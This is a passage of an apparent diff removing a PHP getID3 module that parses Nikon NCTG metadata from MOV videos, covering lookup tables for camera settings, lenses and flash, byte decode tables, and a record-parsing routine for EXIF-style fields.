$pictureControlDataToningEffects = array( - 0x80 => 'b&w', - 0x81 => 'sepia', - 0x82 => 'cyanotype', - 0x83 => 'red', - 0x84 => 'yellow', - 0x85 => 'green', - 0x86 => 'blue-green', - 0x87 => 'blue', - 0x88 => 'purple-blue', - 0x89 => 'red-purple', - 0xff => 'n/a' - ); - - protected static $isoInfoExpansions = array( - 0x0000 => 'Off', - 0x0101 => 'Hi 0.3', - 0x0102 => 'Hi 0.5', - 0x0103 => 'Hi 0.7', - 0x0104 => 'Hi 1.0', - 0x0105 => 'Hi 1.3', - 0x0106 => 'Hi 1.5', - 0x0107 => 'Hi 1.7', - 0x0108 => 'Hi 2.0', - 0x0109 => 'Hi 2.3', - 0x010a => 'Hi 2.5', - 0x010b => 'Hi 2.7', - 0x010c => 'Hi 3.0', - 0x010d => 'Hi 3.3', - 0x010e => 'Hi 3.5', - 0x010f => 'Hi 3.7', - 0x0110 => 'Hi 4.0', - 0x0111 => 'Hi 4.3', - 0x0112 => 'Hi 4.5', - 0x0113 => 'Hi 4.7', - 0x0114 => 'Hi 5.0', - 0x0201 => 'Lo 0.3', - 0x0202 => 'Lo 0.5', - 0x0203 => 'Lo 0.7', - 0x0204 => 'Lo 1.0', - ); - - protected static $isoInfoExpansions2 = array( - 0x0000 => 'Off', - 0x0101 => 'Hi 0.3', - 0x0102 => 'Hi 0.5', - 0x0103 => 'Hi 0.7', - 0x0104 => 'Hi 1.0', - 0x0105 => 'Hi 1.3', - 0x0106 => 'Hi 1.5', - 0x0107 => 'Hi 1.7', - 0x0108 => 'Hi 2.0', - 0x0201 => 'Lo 0.3', - 0x0202 => 'Lo 0.5', - 0x0203 => 'Lo 0.7', - 0x0204 => 'Lo 1.0', - ); - - protected static $vignetteControls = array( - 0 => 'Off', - 1 => 'Low', - 3 => 'Normal', - 5 => 'High' - ); - - protected static $flashModes = array( - 0 => 'Did Not Fire', - 1 => 'Fired, Manual', - 3 => 'Not Ready', - 7 => 'Fired, External', - 8 => 'Fired, Commander Mode', - 9 => 'Fired, TTL Mode', - 18 => 'LED Light' - ); - - protected static $flashInfoSources = array( - 0 => 'None', - 1 => 'External', - 2 => 'Internal' - ); - - protected static $flashInfoExternalFlashFirmwares = array( - '0 0' => 'n/a', - '1 1' => '1.01 (SB-800 or Metz 58 AF-1)', - '1 3' => '1.03 (SB-800)', - '2 1' => '2.01 (SB-800)', - '2 4' => '2.04 (SB-600)', - '2 5' => '2.05 (SB-600)', - '3 1' => '3.01 (SU-800 Remote Commander)', - '4 1' => '4.01 (SB-400)', - '4 2' => '4.02 (SB-400)', - '4 4' => '4.04 (SB-400)', - '5 1' => '5.01 (SB-900)', - '5 2' => '5.02 (SB-900)', - '6 1' => '6.01 (SB-700)', - '7 1' => '7.01 (SB-910)', - ); - - protected static $flashInfoExternalFlashFlags = array( - 0 => 'Fired', - 2 => 'Bounce Flash', - 4 => 'Wide Flash Adapter', - 5 => 'Dome Diffuser', - ); - - protected static $flashInfoExternalFlashStatuses = array( - 0 => 'Flash Not Attached', - 1 => 'Flash Attached', - ); - - protected static $flashInfoExternalFlashReadyStates = array( - 0 => 'n/a', - 1 => 'Ready', - 6 => 'Not Ready', - ); - - protected static $flashInfoGNDistances = array( - 0 => 0, 19 => '2.8 m', - 1 => '0.1 m', 20 => '3.2 m', - 2 => '0.2 m', 21 => '3.6 m', - 3 => '0.3 m', 22 => '4.0 m', - 4 => '0.4 m', 23 => '4.5 m', - 5 => '0.5 m', 24 => '5.0 m', - 6 => '0.6 m', 25 => '5.6 m', - 7 => '0.7 m', 26 => '6.3 m', - 8 => '0.8 m', 27 => '7.1 m', - 9 => '0.9 m', 28 => '8.0 m', - 10 => '1.0 m', 29 => '9.0 m', - 11 => '1.1 m', 30 => '10.0 m', - 12 => '1.3 m', 31 => '11.0 m', - 13 => '1.4 m', 32 => '13.0 m', - 14 => '1.6 m', 33 => '14.0 m', - 15 => '1.8 m', 34 => '16.0 m', - 16 => '2.0 m', 35 => '18.0 m', - 17 => '2.2 m', 36 => '20.0 m', - 18 => '2.5 m', 255 => 'n/a' - ); - - protected static $flashInfoControlModes = array( - 0x00 => 'Off', - 0x01 => 'iTTL-BL', - 0x02 => 'iTTL', - 0x03 => 'Auto Aperture', - 0x04 => 'Automatic', - 0x05 => 'GN (distance priority)', - 0x06 => 'Manual', - 0x07 => 'Repeating Flash', - ); - - protected static $flashInfoColorFilters = array( - 0 => 'None', - 1 => 'FL-GL1 or SZ-2FL Fluorescent', - 2 => 'FL-GL2', - 9 => 'TN-A1 or SZ-2TN Incandescent', - 10 => 'TN-A2', - 65 => 'Red', - 66 => 'Blue', - 67 => 'Yellow', - 68 => 'Amber', - ); - - protected static $highISONoiseReductions = array( - 0 => 'Off', - 1 => 'Minimal', - 2 => 'Low', - 3 => 'Medium Low', - 4 => 'Normal', - 5 => 'Medium High', - 6 => 'High' - ); - - protected static $AFInfo2ContrastDetectAFChoices = array( - 0 => 'Off', - 1 => 'On', - 2 => 'On (2)' - ); - - protected static $AFInfo2AFAreaModesWithoutContrastDetectAF = array( - 0 => 'Single Area', - 1 => 'Dynamic Area', - 2 => 'Dynamic Area (closest subject)', - 3 => 'Group Dynamic', - 4 => 'Dynamic Area (9 points)', - 5 => 'Dynamic Area (21 points)', - 6 => 'Dynamic Area (51 points)', - 7 => 'Dynamic Area (51 points, 3D-tracking)', - 8 => 'Auto-area', - 9 => 'Dynamic Area (3D-tracking)', - 10 => 'Single Area (wide)', - 11 => 'Dynamic Area (wide)', - 12 => 'Dynamic Area (wide, 3D-tracking)', - 13 => 'Group Area', - 14 => 'Dynamic Area (25 points)', - 15 => 'Dynamic Area (72 points)', - 16 => 'Group Area (HL)', - 17 => 'Group Area (VL)', - 18 => 'Dynamic Area (49 points)', - 128 => 'Single', - 129 => 'Auto (41 points)', - 130 => 'Subject Tracking (41 points)', - 131 => 'Face Priority (41 points)', - 192 => 'Pinpoint', - 193 => 'Single', - 195 => 'Wide (S)', - 196 => 'Wide (L)', - 197 => 'Auto', - ); - - protected static $AFInfo2AFAreaModesWithContrastDetectAF = array( - 0 => 'Contrast-detect', - 1 => 'Contrast-detect (normal area)', - 2 => 'Contrast-detect (wide area)', - 3 => 'Contrast-detect (face priority)', - 4 => 'Contrast-detect (subject tracking)', - 128 => 'Single', - 129 => 'Auto (41 points)', - 130 => 'Subject Tracking (41 points)', - 131 => 'Face Priority (41 points)', - 192 => 'Pinpoint', - 193 => 'Single', - 194 => 'Dynamic', - 195 => 'Wide (S)', - 196 => 'Wide (L)', - 197 => 'Auto', - 198 => 'Auto (People)', - 199 => 'Auto (Animal)', - 200 => 'Normal-area AF', - 201 => 'Wide-area AF', - 202 => 'Face-priority AF', - 203 => 'Subject-tracking AF', - ); - - protected static $AFInfo2PhaseDetectAFChoices = array( - 0 => 'Off', - 1 => 'On (51-point)', - 2 => 'On (11-point)', - 3 => 'On (39-point)', - 4 => 'On (73-point)', - 5 => 'On (5)', - 6 => 'On (105-point)', - 7 => 'On (153-point)', - 8 => 'On (81-point)', - 9 => 'On (105-point)', - ); - - protected static $NikkorZLensIDS = array( - 1 => 'Nikkor Z 24-70mm f/4 S', - 2 => 'Nikkor Z 14-30mm f/4 S', - 4 => 'Nikkor Z 35mm f/1.8 S', - 8 => 'Nikkor Z 58mm f/0.95 S Noct', - 9 => 'Nikkor Z 50mm f/1.8 S', - 11 => 'Nikkor Z DX 16-50mm f/3.5-6.3 VR', - 12 => 'Nikkor Z DX 50-250mm f/4.5-6.3 VR', - 13 => 'Nikkor Z 24-70mm f/2.8 S', - 14 => 'Nikkor Z 85mm f/1.8 S', - 15 => 'Nikkor Z 24mm f/1.8 S', - 16 => 'Nikkor Z 70-200mm f/2.8 VR S', - 17 => 'Nikkor Z 20mm f/1.8 S', - 18 => 'Nikkor Z 24-200mm f/4-6.3 VR', - 21 => 'Nikkor Z 50mm f/1.2 S', - 22 => 'Nikkor Z 24-50mm f/4-6.3', - 23 => 'Nikkor Z 14-24mm f/2.8 S', - ); - - protected static $nikonTextEncodings = array( - 1 => 'UTF-8', - 2 => 'UTF-16' - ); - - /** - * Ref 4 - * - * @var int[][] - */ - protected static $decodeTables = array( - array( - 0xc1,0xbf,0x6d,0x0d,0x59,0xc5,0x13,0x9d,0x83,0x61,0x6b,0x4f,0xc7,0x7f,0x3d,0x3d, - 0x53,0x59,0xe3,0xc7,0xe9,0x2f,0x95,0xa7,0x95,0x1f,0xdf,0x7f,0x2b,0x29,0xc7,0x0d, - 0xdf,0x07,0xef,0x71,0x89,0x3d,0x13,0x3d,0x3b,0x13,0xfb,0x0d,0x89,0xc1,0x65,0x1f, - 0xb3,0x0d,0x6b,0x29,0xe3,0xfb,0xef,0xa3,0x6b,0x47,0x7f,0x95,0x35,0xa7,0x47,0x4f, - 0xc7,0xf1,0x59,0x95,0x35,0x11,0x29,0x61,0xf1,0x3d,0xb3,0x2b,0x0d,0x43,0x89,0xc1, - 0x9d,0x9d,0x89,0x65,0xf1,0xe9,0xdf,0xbf,0x3d,0x7f,0x53,0x97,0xe5,0xe9,0x95,0x17, - 0x1d,0x3d,0x8b,0xfb,0xc7,0xe3,0x67,0xa7,0x07,0xf1,0x71,0xa7,0x53,0xb5,0x29,0x89, - 0xe5,0x2b,0xa7,0x17,0x29,0xe9,0x4f,0xc5,0x65,0x6d,0x6b,0xef,0x0d,0x89,0x49,0x2f, - 0xb3,0x43,0x53,0x65,0x1d,0x49,0xa3,0x13,0x89,0x59,0xef,0x6b,0xef,0x65,0x1d,0x0b, - 0x59,0x13,0xe3,0x4f,0x9d,0xb3,0x29,0x43,0x2b,0x07,0x1d,0x95,0x59,0x59,0x47,0xfb, - 0xe5,0xe9,0x61,0x47,0x2f,0x35,0x7f,0x17,0x7f,0xef,0x7f,0x95,0x95,0x71,0xd3,0xa3, - 0x0b,0x71,0xa3,0xad,0x0b,0x3b,0xb5,0xfb,0xa3,0xbf,0x4f,0x83,0x1d,0xad,0xe9,0x2f, - 0x71,0x65,0xa3,0xe5,0x07,0x35,0x3d,0x0d,0xb5,0xe9,0xe5,0x47,0x3b,0x9d,0xef,0x35, - 0xa3,0xbf,0xb3,0xdf,0x53,0xd3,0x97,0x53,0x49,0x71,0x07,0x35,0x61,0x71,0x2f,0x43, - 0x2f,0x11,0xdf,0x17,0x97,0xfb,0x95,0x3b,0x7f,0x6b,0xd3,0x25,0xbf,0xad,0xc7,0xc5, - 0xc5,0xb5,0x8b,0xef,0x2f,0xd3,0x07,0x6b,0x25,0x49,0x95,0x25,0x49,0x6d,0x71,0xc7 - ), - array( - 0xa7,0xbc,0xc9,0xad,0x91,0xdf,0x85,0xe5,0xd4,0x78,0xd5,0x17,0x46,0x7c,0x29,0x4c, - 0x4d,0x03,0xe9,0x25,0x68,0x11,0x86,0xb3,0xbd,0xf7,0x6f,0x61,0x22,0xa2,0x26,0x34, - 0x2a,0xbe,0x1e,0x46,0x14,0x68,0x9d,0x44,0x18,0xc2,0x40,0xf4,0x7e,0x5f,0x1b,0xad, - 0x0b,0x94,0xb6,0x67,0xb4,0x0b,0xe1,0xea,0x95,0x9c,0x66,0xdc,0xe7,0x5d,0x6c,0x05, - 0xda,0xd5,0xdf,0x7a,0xef,0xf6,0xdb,0x1f,0x82,0x4c,0xc0,0x68,0x47,0xa1,0xbd,0xee, - 0x39,0x50,0x56,0x4a,0xdd,0xdf,0xa5,0xf8,0xc6,0xda,0xca,0x90,0xca,0x01,0x42,0x9d, - 0x8b,0x0c,0x73,0x43,0x75,0x05,0x94,0xde,0x24,0xb3,0x80,0x34,0xe5,0x2c,0xdc,0x9b, - 0x3f,0xca,0x33,0x45,0xd0,0xdb,0x5f,0xf5,0x52,0xc3,0x21,0xda,0xe2,0x22,0x72,0x6b, - 0x3e,0xd0,0x5b,0xa8,0x87,0x8c,0x06,0x5d,0x0f,0xdd,0x09,0x19,0x93,0xd0,0xb9,0xfc, - 0x8b,0x0f,0x84,0x60,0x33,0x1c,0x9b,0x45,0xf1,0xf0,0xa3,0x94,0x3a,0x12,0x77,0x33, - 0x4d,0x44,0x78,0x28,0x3c,0x9e,0xfd,0x65,0x57,0x16,0x94,0x6b,0xfb,0x59,0xd0,0xc8, - 0x22,0x36,0xdb,0xd2,0x63,0x98,0x43,0xa1,0x04,0x87,0x86,0xf7,0xa6,0x26,0xbb,0xd6, - 0x59,0x4d,0xbf,0x6a,0x2e,0xaa,0x2b,0xef,0xe6,0x78,0xb6,0x4e,0xe0,0x2f,0xdc,0x7c, - 0xbe,0x57,0x19,0x32,0x7e,0x2a,0xd0,0xb8,0xba,0x29,0x00,0x3c,0x52,0x7d,0xa8,0x49, - 0x3b,0x2d,0xeb,0x25,0x49,0xfa,0xa3,0xaa,0x39,0xa7,0xc5,0xa7,0x50,0x11,0x36,0xfb, - 0xc6,0x67,0x4a,0xf5,0xa5,0x12,0x65,0x7e,0xb0,0xdf,0xaf,0x4e,0xb3,0x61,0x7f,0x2f - ) - ); - - /** - * @var getID3 - */ - private $getid3; - - public function __construct(getID3 $getid3) - { - $this->getid3 = $getid3; - } - - /** - * Get a copy of all NCTG tags extracted from the video - * - * @param string $atomData - * - * @return array - */ - public function parse($atomData) { - // Nikon-specific QuickTime tags found in the NCDT atom of MOV videos from some Nikon cameras such as the Coolpix S8000 and D5100 - // Data is stored as records of: - // * 4 bytes record type - // * 2 bytes size of data field type: - // 0x0001 = flag / unsigned byte (size field *= 1-byte) - // 0x0002 = char / ascii strings (size field *= 1-byte) - // 0x0003 = DWORD+ / unsigned short (size field *= 2-byte), values are stored CDAB - // 0x0004 = QWORD+ / unsigned long (size field *= 4-byte), values are stored EFGHABCD - // 0x0005 = float / unsigned rational (size field *= 8-byte), values are stored aaaabbbb where value is aaaa/bbbb; possibly multiple sets of values appended together - // 0x0006 = signed byte (size field *= 1-byte) - // 0x0007 = raw bytes (size field *= 1-byte) - // 0x0008 = signed short (size field *= 2-byte), values are stored as CDAB - // 0x0009 = signed long (size field *= 4-byte), values are stored as EFGHABCD - // 0x000A = float / signed rational (size field *= 8-byte), values are stored aaaabbbb where value is aaaa/bbbb; possibly multiple sets of values appended together - // * 2 bytes data size field - // * ? bytes data (string data may be null-padded; datestamp fields are in the format "2011:05:25 20:24:15") - // all integers are stored BigEndian - - $NCTGtagName = array( - 0x00000001 => 'Make', - 0x00000002 => 'Model', - 0x00000003 => 'Software', - 0x00000011 => 'CreateDate', - 0x00000012 => 'DateTimeOriginal', - 0x00000013 => 'FrameCount', - 0x00000016 => 'FrameRate', - 0x00000019 => 'TimeZone', - 0x00000022 => 'FrameWidth', - 0x00000023 => 'FrameHeight', - 0x00000032 => 'AudioChannels', - 0x00000033 => 'AudioBitsPerSample', - 0x00000034 => 'AudioSampleRate', - 0x00001002 => 'NikonDateTime', - 0x00001013 => 'ElectronicVR', - 0x0110829a => 'ExposureTime', - 0x0110829d => 'FNumber', - 0x01108822 => 'ExposureProgram', - 0x01109204 => 'ExposureCompensation', - 0x01109207 => 'MeteringMode', - 0x0110920a => 'FocalLength', // mm - 0x0110a431 => 'SerialNumber', - 0x0110a432 => 'LensInfo', - 0x0110a433 => 'LensMake', - 0x0110a434 => 'LensModel', - 0x0110a435 => 'LensSerialNumber', - 0x01200000 => 'GPSVersionID', - 0x01200001 => 'GPSLatitudeRef', - 0x01200002 => 'GPSLatitude', - 0x01200003 => 'GPSLongitudeRef', - 0x01200004 => 'GPSLongitude', - 0x01200005 => 'GPSAltitudeRef', // 0 = Above Sea Level, 1 = Below Sea Level - 0x01200006 => 'GPSAltitude', - 0x01200007 => 'GPSTimeStamp', - 0x01200008 => 'GPSSatellites', - 0x01200010 => 'GPSImgDirectionRef', // M = Magnetic North, T = True North - 0x01200011 => 'GPSImgDirection', - 0x01200012 => 'GPSMapDatum', - 0x0120001d => 'GPSDateStamp', - 0x02000001 => 'MakerNoteVersion', - 0x02000005 => 'WhiteBalance', - 0x02000007 => 'FocusMode', - 0x0200000b => 'WhiteBalanceFineTune', - 0x0200001b => 'CropHiSpeed', - 0x0200001e => 'ColorSpace', - 0x0200001f => 'VRInfo', - 0x02000022 => 'ActiveDLighting', - 0x02000023 => 'PictureControlData', - 0x02000024 => 'WorldTime', - 0x02000025 => 'ISOInfo', - 0x0200002a => 'VignetteControl', - 0x0200002c => 'UnknownInfo', - 0x02000032 => 'UnknownInfo2', - 0x02000039 => 'LocationInfo', - 0x02000083 => 'LensType', - 0x02000084 => 'Lens', - 0x02000087 => 'FlashMode', - 0x02000098 => 'LensData', - 0x020000a7 => 'ShutterCount', - 0x020000a8 => 'FlashInfo', - 0x020000ab => 'VariProgram', - 0x020000b1 => 'HighISONoiseReduction', - 0x020000b7 => 'AFInfo2', - 0x020000c3 => 'BarometerInfo', - ); - - $firstPassNeededTags = array( - 0x00000002, // Model - 0x0110a431, // SerialNumber - 0x020000a7, // ShutterCount - ); - - $datalength = strlen($atomData); - $parsed = array(); - $model = $serialNumber = $shutterCount = null; - for ($pass = 0; $pass < 2; ++$pass) { - $offset = 0; - $parsed = array(); - $data = null; - while ($offset < $datalength) { - $record_type = getid3_lib::BigEndian2Int(substr($atomData, $offset, 4)); - $offset += 4; - $data_size_type = getid3_lib::BigEndian2Int(substr($atomData, $offset, 2)); - $data_size = static::$exifTypeSizes[$data_size_type]; - $offset += 2; - $data_count = getid3_lib::BigEndian2Int(substr($atomData, $offset, 2)); - $offset += 2; - $data = array(); - - if ($pass === 0 && !in_array($record_type, $firstPassNeededTags, true)) { - $offset += $data_count * $data_size; - continue; - } - - switch ($data_size_type) { - case self::EXIF_TYPE_UINT8: // 0x0001 = flag / unsigned byte (size field *= 1-byte) - for ($i = 0; $i < $data_count; ++$i) { - $data[] = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size), $data_size)); - } - $offset += ($data_count * $data_size); - break; - case self::EXIF_TYPE_CHAR: // 0x0002 = char / ascii strings (size field *= 1-byte) - $data = substr($atomData, $offset, $data_count * $data_size); - $offset += ($data_count * $data_size); - $data = rtrim($data, "\x00"); - break; - case self::EXIF_TYPE_UINT16: // 0x0003 = DWORD+ / unsigned short (size field *= 2-byte), values are stored CDAB - for ($i = 0; $i < $data_count; ++$i) { - $data[] = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size), $data_size)); - } - $offset += ($data_count * $data_size); - break; - case self::EXIF_TYPE_UINT32: // 0x0004 = QWORD+ / unsigned long (size field *= 4-byte), values are stored EFGHABCD - // нужно проверить FrameCount - for ($i = 0; $i < $data_count; ++$i) { - $data[] = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size), $data_size)); - } - $offset += ($data_count * $data_size); - break; - case self::EXIF_TYPE_URATIONAL: // 0x0005 = float / unsigned rational (size field *= 8-byte), values are stored aaaabbbb where value is aaaa/bbbb; possibly multiple sets of values appended together - for ($i = 0; $i < $data_count; ++$i) { - $numerator = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size) + 0, 4)); - $denomninator = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size) + 4, 4)); - if ($denomninator == 0) { - $data[] = false; - } else { - $data[] = (float)$numerator / $denomninator; - } - } - $offset += ($data_size * $data_count); - break; - case self::EXIF_TYPE_INT8: // 0x0006 = bytes / signed byte (size field *= 1-byte) - // NOT TESTED - for ($i = 0; $i < $data_count; ++$i) { - $data[] = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size), $data_size), false, true); - } - $offset += ($data_count * $data_size); - break; - case self::EXIF_TYPE_RAW: // 0x0007 = raw bytes (size field *= 1-byte) - $data = substr($atomData, $offset, $data_count * $data_size); - $offset += ($data_count * $data_size); - break; - case self::EXIF_TYPE_INT16: // 0x0008 = signed short (size field *= 2-byte), values are stored as CDAB - for ($i = 0; $i < $data_count; ++$i) { - $value = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size), $data_size)); - if ($value >= 0x8000) { - $value -= 0x10000; - } - $data[] = $value; - } - $offset += ($data_count * $data_size); - break; - case self::EXIF_TYPE_INT32: // 0x0009 = signed long (size field *= 4-byte), values are stored as EFGHABCD - // NOT TESTED - for ($i = 0; $i < $data_count; ++$i) { - $data = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size), $data_size), false, true); - } - $offset += ($data_count * $data_size); - break; - case self::EXIF_TYPE_RATIONAL: // 0x000A = float / signed rational (size field *= 8-byte), values are stored aaaabbbb where value is aaaa/bbbb; possibly multiple sets of values appended together - // NOT TESTED - for ($i = 0; $i < $data_count; ++$i) { - $numerator = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size) + 0, 4), false, true); - $denomninator = getid3_lib::BigEndian2Int(substr($atomData, $offset + ($i * $data_size) + 4, 4), false, true); - if ($denomninator == 0) { - $data[] = false; - } else { - $data[] = (float)$numerator / $denomninator; - } - } - $offset += ($data_size * $data_count); - if (count($data) == 1) { - $data = $data[0]; - } - break; - default: - $this->getid3->warning('QuicktimeParseNikonNCTG()::unknown $data_size_type: ' . $data_size_type); - break 2; - } - - if (is_array($data) && count($data) === 1) { - $data = $data[0]; - } - - switch ($record_type) { - case 0x00000002: - $model = $data; - break; - case 0x00000013: // FrameCount - if (is_array($data) && count($data) === 2 && $data[1] == 0) { - $data = $data[0]; - } - break; - case 0x00000011: // CreateDate - case 0x00000012: // DateTimeOriginal - case 0x00001002: // NikonDateTime - $data = strtotime($data); - break; - case 0x00001013: // ElectronicVR - $data = (bool) $data; - break; - case 0x0110829a: // ExposureTime - // Print exposure time as a fraction - /** @var float $data */ - if ($data < 0.25001 && $data > 0) { - $data = sprintf("1/%d", intval(0.5 + 1 / $data)); - } - break; - case 0x01109204: // ExposureCompensation - $data = $this->printFraction($data); - break; - case 0x01108822: // ExposureProgram - $data = isset(static::$exposurePrograms[$data]) ? static::$exposurePrograms[$data] : $data; - break; - case 0x01109207: // MeteringMode - $data = isset(static::$meteringModes[$data]) ? static::$meteringModes[$data] : $data; - break; - case 0x0110a431: // SerialNumber - $serialNumber = $this->serialKey($data, $model); - break; - case 0x01200000: // GPSVersionID - $parsed['GPS']['computed']['version'] = 'v'.implode('.', $data); - break; - case 0x01200002: // GPSLatitude - if (is_array($data)) { - $direction_multiplier = ((isset($parsed['GPSLatitudeRef']) && ($parsed['GPSLatitudeRef'] === 'S')) ? -1 : 1); - $parsed['GPS']['computed']['latitude'] = $direction_multiplier * ($data[0] + ($data[1] / 60) + ($data[2] / 3600)); - } - break; - case 0x01200004: // GPSLongitude - if (is_array($data)) { - $direction_multiplier = ((isset($parsed['GPSLongitudeRef']) && ($parsed['GPSLongitudeRef'] === 'W')) ? -1 : 1); - $parsed['GPS']['computed']['longitude'] = $direction_multiplier * ($data[0] + ($data[1] / 60) + ($data[2] / 3600)); - } - break; - case 0x01200006: // GPSAltitude - if (isset($parsed['GPSAltitudeRef'])) { - $direction_multiplier = (!empty($parsed['GPSAltitudeRef']) ? -1 : 1); // 0 = above sea level; 1 = below sea level - $parsed['GPS']['computed']['altitude'] = $direction_multiplier * $data; - } - break; - case 0x0120001d: // GPSDateStamp - if (isset($parsed['GPSTimeStamp']) && is_array($parsed['GPSTimeStamp']) && $data !== '') { - $explodedDate = explode(':', $data); - $parsed['GPS']['computed']['timestamp'] = gmmktime($parsed['GPSTimeStamp'][0], $parsed['GPSTimeStamp'][1], $parsed['GPSTimeStamp'][2], $explodedDate[1], $explodedDate[2], $explodedDate[0]); - } - break; - case 0x02000001: // MakerNoteVersion - $data = ltrim(substr($data, 0, 2) . '.' . substr($data, 2, 2), '0'); - break; - case 0x0200001b: // CropHiSpeed - if (is_array($data) && count($data) === 7) { - $name = isset(static::$cropHiSpeeds[$data[0]]) ? static::$cropHiSpeeds[$data[0]] : sprintf('Unknown (%d)', $data[0]); - $data = array( - 'Name' => $name, - 'OriginalWidth' => $data[1], - 'OriginalHeight' => $data[2], - 'CroppedWidth' => $data[3], - 'CroppedHeight' => $data[4], - 'PixelXPosition' => $data[5], - 'PixelYPosition' => $data[6], - ); - } - break; - case 0x0200001e: // ColorSpace - $data = isset(static::$colorSpaces[$data]) ? static::$colorSpaces[$data] : $data; - break; - case 0x0200001f: // VRInfo - $data = array( - 'VRInfoVersion' => substr($data, 0, 4), - 'VibrationReduction' => isset(static::$vibrationReductions[ord(substr($data, 4, 1))]) - ? static::$vibrationReductions[ord(substr($data, 4, 1))] - : null, - 'VRMode' => static::$VRModes[ord(substr($data, 6, 1))], - ); - break; - case 0x02000022: // ActiveDLighting - $data = isset(static::$activeDLightnings[$data]) ? static::$activeDLightnings[$data] : $data; - break; - case 0x02000023: // PictureControlData - switch (substr($data, 0, 2)) { - case '01': - $data = array( - 'PictureControlVersion' => substr($data, 0, 4), - 'PictureControlName' => rtrim(substr($data, 4, 20), "\x00"), - 'PictureControlBase' => rtrim(substr($data, 24, 20), "\x00"), - //'?' => substr($data, 44, 4), - 'PictureControlAdjust' => static::$pictureControlDataAdjusts[ord(substr($data, 48, 1))], - 'PictureControlQuickAdjust' => $this->printPC(ord(substr($data, 49, 1)) - 0x80), - 'Sharpness' => $this->printPC(ord(substr($data, 50, 1)) - 0x80, 'No Sharpening', '%d'), - 'Contrast' => $this->printPC(ord(substr($data, 51, 1)) - 0x80), - 'Brightness' => $this->printPC(ord(substr($data, 52, 1)) - 0x80), - 'Saturation' => $this->printPC(ord(substr($data, 53, 1)) - 0x80), - 'HueAdjustment' => $this->printPC(ord(substr($data, 54, 1)) - 0x80, 'None'), - 'FilterEffect' => static::$pictureControlDataFilterEffects[ord(substr($data, 55, 1))], - 'ToningEffect' => static::$pictureControlDataToningEffects[ord(substr($data, 56, 1))], - 'ToningSaturation' => $this->printPC(ord(substr($data, 57, 1)) - 0x80), - ); - break; - case '02': - $data = array( - 'PictureControlVersion' => substr($data, 0, 4), - 'PictureControlName' => rtrim(substr($data, 4, 20), "\x00"), - 'PictureControlBase' => rtrim(substr($data, 24, 20), "\x00"), - //'?' => substr($data, 44, 4), - 'PictureControlAdjust' => static::$pictureControlDataAdjusts[ord(substr($data, 48, 1))], - 'PictureControlQuickAdjust' => $this->printPC(ord(substr($data, 49, 1)) - 0x80), - 'Sharpness' => $this->printPC(ord(substr($data, 51, 1)) - 0x80, 'None', '%.2f', 4), - 'Clarity' => $this->printPC(ord(substr($data, 53, 1)) - 0x80, 'None', '%.2f', 4), - 'Contrast' => $this->printPC(ord(substr($data, 55, 1)) - 0x80, 'None', '%.2f', 4), - 'Brightness' => $this->printPC(ord(substr($data, 57, 1)) - 0x80, 'Normal', '%.2f', 4), - 'Saturation' => $this->printPC(ord(substr($data, 59, 1)) - 0x80, 'None', '%.2f', 4), - 'Hue' => $this->printPC(ord(substr($data, 61, 1)) - 0x80, 'None', '%.2f', 4), - 'FilterEffect' => static::$pictureControlDataFilterEffects[ord(substr($data, 63, 1))], - 'ToningEffect' => static::$pictureControlDataToningEffects[ord(substr($data, 64, 1))], - 'ToningSaturation' => $this->printPC(ord(substr($data, 65, 1)) - 0x80, 'None', '%.2f', 4), - ); - break; - case '03': - $data = array( - 'PictureControlVersion' => substr($data, 0, 4), - 'PictureControlName' => rtrim(substr($data, 8, 20), "\x00"), - 'PictureControlBase' => rtrim(substr($data, 28, 20), "\x00"), - 'PictureControlAdjust' => static::$pictureControlDataAdjusts[ord(substr($data, 54, 1))], - 'PictureControlQuickAdjust' => $this->printPC(ord(substr($data, 55, 1)) - 0x80), - 'Sharpness' => $this->printPC(ord(substr($data, 57, 1)) - 0x80, 'None', '%.2f', 4), - 'MidRangeSharpness' => $this->printPC(ord(substr($data, 59, 1)) - 0x80, 'None', '%.2f', 4), - 'Clarity' => $this->printPC(ord(substr($data, 61, 1)) - 0x80, 'None', '%.2f', 4), - 'Contrast' => $this->printPC(ord(substr($data, 63, 1)) - 0x80, 'None', '%.2f', 4), - 'Brightness' => $this->printPC(ord(substr($data, 65, 1)) - 0x80, 'Normal', '%.2f', 4), - 'Saturation' => $this->printPC(ord(substr($data, 67, 1)) - 0x80, 'None', '%.2f', 4), - 'Hue' => $this->printPC(ord(substr($data, 69, 1)) - 0x80, 'None', '%.2f', 4), - 'FilterEffect' => static::$pictureControlDataFilterEffects[ord(substr($data, 71, 1))], - 'ToningEffect' => static::$pictureControlDataToningEffects[ord(substr($data, 72, 1))], - 'ToningSaturation' => $this->printPC(ord(substr($data, 73, 1)) - 0x80, 'None', '%.2f', 4), - ); - break; - default: - $data = array( - 'PictureControlVersion' => substr($data, 0, 4), - ); - break; - } - break; - case 0x02000024: // WorldTime - // https://exiftool.org/TagNames/Nikon.html#WorldTime - // timezone is stored as offset from GMT in minutes - $timezone = getid3_lib::BigEndian2Int(substr($data, 0, 2)); - if ($timezone & 0x8000) { - $timezone = 0 - (0x10000 - $timezone); - } - $hours = (int)abs($timezone / 60); - $minutes = abs($timezone) - $hours * 60; - - $dst = (bool)getid3_lib::BigEndian2Int(substr($data, 2, 1)); - switch (getid3_lib::BigEndian2Int(substr($data, 3, 1))) { - case 2: - $datedisplayformat = 'D/M/Y'; - break; - case 1: - $datedisplayformat = 'M/D/Y'; - break; - case 0: - default: - $datedisplayformat = 'Y/M/D'; - break; - } - - $data = array( - 'timezone' => sprintf('%s%02d:%02d', $timezone >= 0 ? '+' : '-', $hours, $minutes), - 'dst' => $dst, - 'display' => $datedisplayformat - ); - break; - case 0x02000025: // ISOInfo - $data = array( - 'ISO' => (int)ceil(100 * pow(2, ord(substr($data, 0, 1)) / 12 - 5)), - 'ISOExpansion' => static::$isoInfoExpansions[getid3_lib::BigEndian2Int(substr($data, 4, 2))], - 'ISO2' => (int)ceil(100 * pow(2, ord(substr($data, 6, 1)) / 12 - 5)), - 'ISOExpansion2' => 